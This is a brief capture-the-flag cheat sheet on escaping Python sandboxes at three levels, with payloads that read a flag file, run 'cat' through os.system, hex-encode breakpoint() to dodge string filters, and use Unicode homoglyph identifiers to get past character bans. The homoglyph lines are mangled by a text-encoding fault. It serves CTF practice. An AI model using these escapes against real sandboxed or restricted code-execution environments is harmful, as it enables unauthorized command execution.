```
Python Jailbreak Techniques: Three Levels of Escalation
1. Baby Jail
Scenario: No restrictions, simplest bypass
Solutions: ```python open("/flag.txt").read() ``` ```python import('os').system("cat /flag.txt") ```
2. Bahri Jail
Scenario: Basic character restrictions
Solution: Hex-encoded breakpoint() ``` exec(bytes.fromhex('627265616b706f696e7428')) # breakpoint() ``` Then in debugger: ```python import os; os.system("cat /flag.txt") ```
3. Silent Jail
Scenario: All alphanumerics banned (A-Z,a-z,0-9)
Solution: Unicode homoglyph attack ```python š£š³š¦š¢š¬š±š°šŖšÆšµ() # breakpoint() using mathematical sans-serif italic ``` Then in debugger: ```python šŖš®š±š°š³šµ š°š“; š°š“.š“šŗš“šµš¦š®("š¤š¢šµ /š§šš¢šØ.šµš¹šµ") ```
Key Notes:
- Breakpoint() is the universal starting point
- Unicode chars bypass character filters but execute normally
- Hex/bytes encoding bypasses string-based filters